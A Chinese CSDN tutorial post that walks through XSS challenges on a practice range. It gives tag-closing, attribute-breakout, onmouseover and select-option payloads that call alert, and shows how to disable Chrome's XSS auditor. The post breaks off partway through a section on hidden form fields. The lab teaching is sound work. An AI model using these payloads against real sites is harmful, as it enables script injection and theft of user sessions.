XSS攻击

本文详细介绍了XSS攻击的各种类型和利用方法,包括探测过程、闭合标签利用、配置Chrome关闭XSS-Auditor、属性和事件中的XSS、以及各种绕过策略。内容涵盖JavaScript伪协议、HTML表单隐藏参数、CSS和IE特性在XSS攻击中的应用,还提供了Python在16进制和Unicode绕过中的角色。
摘要由CSDN通过智能技术生成

实验环境介绍

地址:https://xss-quiz.int21h.jp/

该网址是一个可用于XSS攻击的靶场

探测XSS过程

  • 1.构造一个不会被识别为恶意代码的字符串提交到页面中
  • 2.使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示

闭合文本标签利用XSS

简单的payload

<script>alert(document.domain);</script>

闭合标签的payload

"</b><script>alert(document.domain);</script>

配置Chrome关闭XSS-Auditor

https://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args --disable-xss-auditor
在这里插入图片描述
在桌面新建一个快捷方式

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor

属性中的XSS发现

技巧:ctrl+f 全局搜索输入的内容

闭合引号,尖括号,引入script脚本
payload

123"><script>alert(document.domain);</script>

onmouseover 鼠标悬停弹出

" onmouseover= " alert(document.domain)>

select元素可创建单选或多选菜单

<select name="p2">
    <option>Japan</option>
    <option>Germany</option>
    <option>USA</option>
    <option>United Kingdom</option>
</select>

在select下拉框中输入,闭合标签

Japan</option><script>alert(document.domain);</script>

HTML表单隐藏参数介绍

隐藏域是用来收集或发送信息的不可见元素,对于网页的访

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值